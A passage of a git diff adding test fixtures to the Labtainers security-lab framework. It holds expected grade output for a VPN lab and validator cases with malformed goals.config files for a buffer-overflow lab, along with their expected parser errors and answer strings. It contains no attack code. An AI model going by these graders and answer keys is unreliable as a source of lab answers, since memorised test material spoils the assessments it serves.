a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/vpnlab2/GOLD/vpnlab2.grades.json b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/vpnlab2/GOLD/vpnlab2.grades.json new file mode 100644 index 000000000..1b6df3e10 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/vpnlab2/GOLD/vpnlab2.grades.json @@ -0,0 +1,19 @@ +{ + "jkhosali_at_nps.edu.vpnlab2": { + "actualwatermark": {}, + "parameter": { + "HTTPSERVERLINK1": "245f6a14a1aa9422ddac014acebc8119", + "HTTPSERVERLINK2": "245f6a14a1aa9422ddac014acebc8119" + }, + "expectedwatermark": {}, + "grades": { + "_routereth0tcpdump": true, + "_routereth1tcpdump": true, + "_routerlistenon": true, + "_wgetlink1encryptedok": true, + "tcpdump_encr_link1": true + }, + "firstlevelzip": {}, + "secondlevelzip": {} + } +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/vpnlab2/GOLD/vpnlab2.grades.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/vpnlab2/GOLD/vpnlab2.grades.txt new file mode 100644 index 000000000..ee5fff5c8 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/labs/vpnlab2/GOLD/vpnlab2.grades.txt @@ -0,0 +1,8 @@ +Labname vpnlab2 + +Student | tcpdump_encr_li | +==================== | =============== | +jkhosali_at_nps.edu | Y | +What is automatically assessed for this lab: + + tcpdump_encr_link1: Ran tcpdump while using wget over an encrypted link diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00001/about.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00001/about.txt new file mode 100644 index 000000000..d98ed8e0b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00001/about.txt @@ -0,0 +1 @@ +Check goals.config - goals missing the '=' character diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00001/expected.log b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00001/expected.log new file mode 100644 index 000000000..7ebdee946 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00001/expected.log @@ -0,0 +1 @@ +[2017-10-24 13:19:13,198 - ERROR : GoalsParser.py:241 - ParseGoals() ] goal lacks "=" character, gain_root_priv matchany : string_equal : rootsecret : parameter.roothash diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00001/goals.config b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00001/goals.config new file mode 100644 index 000000000..5ba6f8110 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00001/goals.config @@ -0,0 +1,17 @@ +# goals.config +# +# Please see ..../docs/goals.config.format + +# The following are meant for buffer overflow vulnerability lab + +# did the student get a root shell & display the /root/.secret file? +gain_root_priv matchany : string_equal : rootsecret : parameter.roothash + +# got a root shell with ASLR enabled? +_aslron = matchany : integer_equal : aslr_setting : answer=2 +_looproot = matchany : string_equal : whilesecret : parameter.roothash +while_get_root = boolean : ( _aslron and _looproot ) + +# experimented with enabling stack guard? +stack_protect = matchany : string_equal : crashStringCanary : answer=smashing + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00001/labname b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00001/labname new file mode 100644 index 000000000..c8857a506 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00001/labname @@ -0,0 +1 @@ +bufoverflow diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00001/parameter.config b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00001/parameter.config new file mode 100644 index 000000000..91f42318f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00001/parameter.config @@ -0,0 +1,10 @@ +# parameter.config +# +# Please see ..../docs/labdesigner.md + +# Size of the buffer to be overflowed. +rand1 : RAND_REPLACE : /home/ubuntu/stack.c : BUFFER_SIZE : 100 : 500 + +roothash : HASH_REPLACE : /root/.secret : ROOT_SECRET : mysupersecretrootfile +userhash : HASH_REPLACE : /home/ubuntu/.secret : UBUNTU_SECRET : mysupersecretubuntufile + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00001/results.config b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00001/results.config new file mode 100644 index 000000000..03c8514c7 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00001/results.config @@ -0,0 +1,12 @@ +# results.config +# +# Please see ..../docs/results.config.format + +# The following are meant for buffer overflow vulnerability lab + +rootsecret = stack.stdout : 6 : STARTSWITH : My ROOT secret string is: + +aslr_setting = checklocal.stdout : 3 : STARTSWITH : kernel.randomize_va_space +whilesecret = whilebash.sh.stdout : 6 : STARTSWITH : My ROOT secret string is: +crashStringCanary = stack.stdout : 3 : STARTSWITH : *** stack smashing detected + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00002/about.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00002/about.txt new file mode 100644 index 000000000..17e56c274 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00002/about.txt @@ -0,0 +1 @@ +Check goals.config - invalid character in goals key (has the '@' character) diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00002/expected.log b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00002/expected.log new file mode 100644 index 000000000..cc184b4ed --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00002/expected.log @@ -0,0 +1 @@ +[2017-10-24 13:39:33,540 - ERROR : GoalsParser.py:245 - ParseGoals() ] Invalid characters in goals.config's key (gain_@root_priv) diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00002/goals.config b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00002/goals.config new file mode 100644 index 000000000..cef5846a6 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00002/goals.config @@ -0,0 +1,17 @@ +# goals.config +# +# Please see ..../docs/goals.config.format + +# The following are meant for buffer overflow vulnerability lab + +# did the student get a root shell & display the /root/.secret file? +gain_@root_priv = matchany : string_equal : rootsecret : parameter.roothash + +# got a root shell with ASLR enabled? +_aslron = matchany : integer_equal : aslr_setting : answer=2 +_looproot = matchany : string_equal : whilesecret : parameter.roothash +while_get_root = boolean : ( _aslron and _looproot ) + +# experimented with enabling stack guard? +stack_protect = matchany : string_equal : crashStringCanary : answer=smashing + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00002/labname b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00002/labname new file mode 100644 index 000000000..c8857a506 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00002/labname @@ -0,0 +1 @@ +bufoverflow diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00002/parameter.config b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00002/parameter.config new file mode 100644 index 000000000..91f42318f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00002/parameter.config @@ -0,0 +1,10 @@ +# parameter.config +# +# Please see ..../docs/labdesigner.md + +# Size of the buffer to be overflowed. +rand1 : RAND_REPLACE : /home/ubuntu/stack.c : BUFFER_SIZE : 100 : 500 + +roothash : HASH_REPLACE : /root/.secret : ROOT_SECRET : mysupersecretrootfile +userhash : HASH_REPLACE : /home/ubuntu/.secret : UBUNTU_SECRET : mysupersecretubuntufile + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00002/results.config b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00002/results.config new file mode 100644 index 000000000..03c8514c7 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00002/results.config @@ -0,0 +1,12 @@ +# results.config +# +# Please see ..../docs/results.config.format + +# The following are meant for buffer overflow vulnerability lab + +rootsecret = stack.stdout : 6 : STARTSWITH : My ROOT secret string is: + +aslr_setting = checklocal.stdout : 3 : STARTSWITH : kernel.randomize_va_space +whilesecret = whilebash.sh.stdout : 6 : STARTSWITH : My ROOT secret string is: +crashStringCanary = stack.stdout : 3 : STARTSWITH : *** stack smashing detected + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00003/about.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00003/about.txt new file mode 100644 index 000000000..c39e02c59 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00003/about.txt @@ -0,0 +1 @@ +Check goals.config - too many 'tokens' separated by ' : ' - invalid format diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00003/expected.log b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00003/expected.log new file mode 100644 index 000000000..e0a399dd0 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00003/expected.log @@ -0,0 +1 @@ +[2017-10-24 13:46:54,086 - ERROR : GoalsParser.py:259 - ParseGoals() ] goals.config contains unexpected value ( matchany : string_equal : rootsecret : parameter.roothash : toomany) format diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00003/goals.config b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00003/goals.config new file mode 100644 index 000000000..1efb8f37f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00003/goals.config @@ -0,0 +1,17 @@ +# goals.config +# +# Please see ..../docs/goals.config.format + +# The following are meant for buffer overflow vulnerability lab + +# did the student get a root shell & display the /root/.secret file? +gain_root_priv = matchany : string_equal : rootsecret : parameter.roothash : toomany + +# got a root shell with ASLR enabled? +_aslron = matchany : integer_equal : aslr_setting : answer=2 +_looproot = matchany : string_equal : whilesecret : parameter.roothash +while_get_root = boolean : ( _aslron and _looproot ) + +# experimented with enabling stack guard? +stack_protect = matchany : string_equal : crashStringCanary : answer=smashing + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00003/labname b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00003/labname new file mode 100644 index 000000000..c8857a506 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00003/labname @@ -0,0 +1 @@ +bufoverflow diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00003/parameter.config b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00003/parameter.config new file mode 100644 index 000000000..91f42318f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00003/parameter.config @@ -0,0 +1,10 @@ +# parameter.config +# +# Please see ..../docs/labdesigner.md + +# Size of the buffer to be overflowed. +rand1 : RAND_REPLACE : /home/ubuntu/stack.c : BUFFER_SIZE : 100 : 500 + +roothash : HASH_REPLACE : /root/.secret : ROOT_SECRET : mysupersecretrootfile +userhash : HASH_REPLACE : /home/ubuntu/.secret : UBUNTU_SECRET : mysupersecretubuntufile + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00003/results.config b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00003/results.config new file mode 100644 index 000000000..03c8514c7 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00003/results.config @@ -0,0 +1,12 @@ +# results.config +# +# Please see ..../docs/results.config.format + +# The following are meant for buffer overflow vulnerability lab + +rootsecret = stack.stdout : 6 : STARTSWITH : My ROOT secret string is: + +aslr_setting = checklocal.stdout : 3 : STARTSWITH : kernel.randomize_va_space +whilesecret = whilebash.sh.stdout : 6 : STARTSWITH : My ROOT secret string is: +crashStringCanary = stack.stdout : 3 : STARTSWITH : *** stack smashing detected + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00004/about.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00004/about.txt new file mode 100644 index 000000000..51178149f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00004/about.txt @@ -0,0 +1 @@ +Check goals.config - too few 'tokens' separated by ' : ' - invalid format diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00004/expected.log b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00004/expected.log new file mode 100644 index 000000000..3858b4407 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00004/expected.log @@ -0,0 +1 @@ +[2017-10-24 13:52:59,318 - ERROR : GoalsParser.py:259 - ParseGoals() ] goals.config contains unexpected value ( matchany) format diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00004/goals.config b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00004/goals.config new file mode 100644 index 000000000..bd845fcf3 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00004/goals.config @@ -0,0 +1,18 @@ +# goals.config +# +# Please see ..../docs/goals.config.format + +# The following are meant for buffer overflow vulnerability lab + +# did the student get a root shell & display the /root/.secret file? +gain_root_priv = matchany : string_equal : rootsecret : parameter.roothash +gain_root_priv2 = matchany + +# got a root shell with ASLR enabled? +_aslron = matchany : integer_equal : aslr_setting : answer=2 +_looproot = matchany : string_equal : whilesecret : parameter.roothash +while_get_root = boolean : ( _aslron and _looproot ) + +# experimented with enabling stack guard? +stack_protect = matchany : string_equal : crashStringCanary : answer=smashing + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00004/labname b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00004/labname new file mode 100644 index 000000000..c8857a506 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00004/labname @@ -0,0 +1 @@ +bufoverflow diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00004/parameter.config b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00004/parameter.config new file mode 100644 index 000000000..91f42318f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00004/parameter.config @@ -0,0 +1,10 @@ +# parameter.config +# +# Please see ..../docs/labdesigner.md + +# Size of the buffer to be overflowed. +rand1 : RAND_REPLACE : /home/ubuntu/stack.c : BUFFER_SIZE : 100 : 500 + +roothash : HASH_REPLACE : /root/.secret : ROOT_SECRET : mysupersecretrootfile +userhash : HASH_REPLACE : /home/ubuntu/.secret : UBUNTU_SECRET : mysupersecretubuntufile + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00004/results.config b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00004/results.config new file mode 100644 index 000000000..03c8514c7 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00004/results.config @@ -0,0 +1,12 @@ +# results.config +# +# Please see ..../docs/results.config.format + +# The following are meant for buffer overflow vulnerability lab + +rootsecret = stack.stdout : 6 : STARTSWITH : My ROOT secret string is: + +aslr_setting = checklocal.stdout : 3 : STARTSWITH : kernel.randomize_va_space +whilesecret = whilebash.sh.stdout : 6 : STARTSWITH : My ROOT secret string is: +crashStringCanary = stack.stdout : 3 : STARTSWITH : *** stack smashing detected + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00005/about.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00005/about.txt new file mode 100644 index 000000000..73cbcff0b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00005/about.txt @@ -0,0 +1 @@ +Check goals.config - invalid type diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00005/expected.log b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00005/expected.log new file mode 100644 index 000000000..aa2d65dd3 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00005/expected.log @@ -0,0 +1 @@ +[2017-10-24 13:55:51,435 - ERROR : GoalsParser.py:276 - ParseGoals() ] goals.config contains unrecognized type (1) (xxxxxany) diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00005/goals.config b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00005/goals.config new file mode 100644 index 000000000..a51959c56 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00005/goals.config @@ -0,0 +1,17 @@ +# goals.config +# +# Please see ..../docs/goals.config.format + +# The following are meant for buffer overflow vulnerability lab + +# did the student get a root shell & display the /root/.secret file? +gain_root_priv = xxxxxany : string_equal : rootsecret : parameter.roothash + +# got a root shell with ASLR enabled? +_aslron = matchany : integer_equal : aslr_setting : answer=2 +_looproot = matchany : string_equal : whilesecret : parameter.roothash +while_get_root = boolean : ( _aslron and _looproot ) + +# experimented with enabling stack guard? +stack_protect = matchany : string_equal : crashStringCanary : answer=smashing + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00005/labname b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00005/labname new file mode 100644 index 000000000..c8857a506 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00005/labname @@ -0,0 +1 @@ +bufoverflow diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00005/parameter.config b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00005/parameter.config new file mode 100644 index 000000000..91f42318f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00005/parameter.config @@ -0,0 +1,10 @@ +# parameter.config +# +# Please see ..../docs/labdesigner.md + +# Size of the buffer to be overflowed. +rand1 : RAND_REPLACE : /home/ubuntu/stack.c : BUFFER_SIZE : 100 : 500 + +roothash : HASH_REPLACE : /root/.secret : ROOT_SECRET : mysupersecretrootfile +userhash : HASH_REPLACE : /home/ubuntu/.secret : UBUNTU_SECRET : mysupersecretubuntufile + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00005/results.config b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00005/results.config new file mode 100644 index 000000000..03c8514c7 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00005/results.config @@ -0,0 +1,12 @@ +# results.config +# +# Please see ..../docs/results.config.format + +# The following are meant for buffer overflow vulnerability lab + +rootsecret = stack.stdout : 6 : STARTSWITH : My ROOT secret string is: + +aslr_setting = checklocal.stdout : 3 : STARTSWITH : kernel.randomize_va_space +whilesecret = whilebash.sh.stdout : 6 : STARTSWITH : My ROOT secret string is: +crashStringCanary = stack.stdout : 3 : STARTSWITH : *** stack smashing detected + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00006/about.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00006/about.txt new file mode 100644 index 000000000..33e995753 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00006/about.txt @@ -0,0 +1 @@ +Check goals.config - invalid operator diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00006/expected.log b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00006/expected.log new file mode 100644 index 000000000..bf2acb45a --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00006/expected.log @@ -0,0 +1 @@ +[2017-10-24 13:57:21,429 - ERROR : GoalsParser.py:287 - ParseGoals() ] goals.config contains unrecognized operator (xxxxxg_equal) diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00006/goals.config b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00006/goals.config new file mode 100644 index 000000000..73777bceb --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00006/goals.config @@ -0,0 +1,17 @@ +# goals.config +# +# Please see ..../docs/goals.config.format + +# The following are meant for buffer overflow vulnerability lab + +# did the student get a root shell & display the /root/.secret file? +gain_root_priv = matchany : xxxxxg_equal : rootsecret : parameter.roothash + +# got a root shell with ASLR enabled? +_aslron = matchany : integer_equal : aslr_setting : answer=2 +_looproot = matchany : string_equal : whilesecret : parameter.roothash +while_get_root = boolean : ( _aslron and _looproot ) + +# experimented with enabling stack guard? +stack_protect = matchany : string_equal : crashStringCanary : answer=smashing + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00006/labname b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00006/labname new file mode 100644 index 000000000..c8857a506 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00006/labname @@ -0,0 +1 @@ +bufoverflow diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00006/parameter.config b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00006/parameter.config new file mode 100644 index 000000000..91f42318f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00006/parameter.config @@ -0,0 +1,10 @@ +# parameter.config +# +# Please see ..../docs/labdesigner.md + +# Size of the buffer to be overflowed. +rand1 : RAND_REPLACE : /home/ubuntu/stack.c : BUFFER_SIZE : 100 : 500 + +roothash : HASH_REPLACE : /root/.secret : ROOT_SECRET : mysupersecretrootfile +userhash : HASH_REPLACE : /home/ubuntu/.secret : UBUNTU_SECRET : mysupersecretubuntufile + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00006/results.config b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00006/results.config new file mode 100644 index 000000000..03c8514c7 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00006/results.config @@ -0,0 +1,12 @@ +# results.config +# +# Please see ..../docs/results.config.format + +# The following are meant for buffer overflow vulnerability lab + +rootsecret = stack.stdout : 6 : STARTSWITH : My ROOT secret string is: + +aslr_setting = checklocal.stdout : 3 : STARTSWITH : kernel.randomize_va_space +whilesecret = whilebash.sh.stdout : 6 : STARTSWITH : My ROOT secret string is: +crashStringCanary = stack.stdout : 3 : STARTSWITH : *** stack smashing detected + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00007/about.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00007/about.txt new file mode 100644 index 000000000..96c98f18f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00007/about.txt @@ -0,0 +1 @@ +Check goals.config - missing executable file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00007/expected.log b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00007/expected.log new file mode 100644 index 000000000..034705ea8 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00007/expected.log @@ -0,0 +1 @@ +[2017-10-24 14:01:25,914 - ERROR : GoalsParser.py:293 - ParseGoals() ] goals.config contains execute goals with missing exec file (/home/ubuntu/.local/bin/mylocalexec.py) diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00007/goals.config b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00007/goals.config new file mode 100644 index 000000000..c9f6448a2 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00007/goals.config @@ -0,0 +1,18 @@ +# goals.config +# +# Please see ..../docs/goals.config.format + +# The following are meant for buffer overflow vulnerability lab + +# did the student get a root shell & display the /root/.secret file? +gain_root_priv = matchany : string_equal : rootsecret : parameter.roothash + +# got a root shell with ASLR enabled? +_aslron = matchany : integer_equal : aslr_setting : answer=2 +_looproot = matchany : string_equal : whilesecret : parameter.roothash +while_get_root = boolean : ( _aslron and _looproot ) + +# experimented with enabling stack guard? +stack_protect = matchany : string_equal : crashStringCanary : answer=smashing + +invalidexec = execute : /home/ubuntu/.local/bin/mylocalexec.py : whilesecret : parameter.roothash diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00007/labname b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00007/labname new file mode 100644 index 000000000..c8857a506 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00007/labname @@ -0,0 +1 @@ +bufoverflow diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00007/parameter.config b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00007/parameter.config new file mode 100644 index 000000000..91f42318f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00007/parameter.config @@ -0,0 +1,10 @@ +# parameter.config +# +# Please see ..../docs/labdesigner.md + +# Size of the buffer to be overflowed. +rand1 : RAND_REPLACE : /home/ubuntu/stack.c : BUFFER_SIZE : 100 : 500 + +roothash : HASH_REPLACE : /root/.secret : ROOT_SECRET : mysupersecretrootfile +userhash : HASH_REPLACE : /home/ubuntu/.secret : UBUNTU_SECRET : mysupersecretubuntufile + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00007/results.config b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00007/results.config new file mode 100644 index 000000000..03c8514c7 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00007/results.config @@ -0,0 +1,12 @@ +# results.config +# +# Please see ..../docs/results.config.format + +# The following are meant for buffer overflow vulnerability lab + +rootsecret = stack.stdout : 6 : STARTSWITH : My ROOT secret string is: + +aslr_setting = checklocal.stdout : 3 : STARTSWITH : kernel.randomize_va_space +whilesecret = whilebash.sh.stdout : 6 : STARTSWITH : My ROOT secret string is: +crashStringCanary = stack.stdout : 3 : STARTSWITH : *** stack smashing detected + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00008/about.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00008/about.txt new file mode 100644 index 000000000..8ab986014 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00008/about.txt @@ -0,0 +1 @@ +Check goals.config - invalid format/type of boolean for a 4 'tokens' goals diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00008/expected.log b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00008/expected.log new file mode 100644 index 000000000..daf4937b7 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00008/expected.log @@ -0,0 +1 @@ +[2017-10-24 14:05:33,934 - ERROR : GoalsParser.py:276 - ParseGoals() ] goals.config contains unrecognized type (1) (boolean) diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00008/goals.config b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00008/goals.config new file mode 100644 index 000000000..ea9a06f82 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00008/goals.config @@ -0,0 +1,17 @@ +# goals.config +# +# Please see ..../docs/goals.config.format + +# The following are meant for buffer overflow vulnerability lab + +# did the student get a root shell & display the /root/.secret file? +gain_root_priv = boolean : string_equal : rootsecret : parameter.roothash + +# got a root shell with ASLR enabled? +_aslron = matchany : integer_equal : aslr_setting : answer=2 +_looproot = matchany : string_equal : whilesecret : parameter.roothash +while_get_root = boolean : ( _aslron and _looproot ) + +# experimented with enabling stack guard? +stack_protect = matchany : string_equal : crashStringCanary : answer=smashing + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00008/labname b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00008/labname new file mode 100644 index 000000000..c8857a506 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00008/labname @@ -0,0 +1 @@ +bufoverflow diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/testsets/validate/goals_check_00008/parameter.config 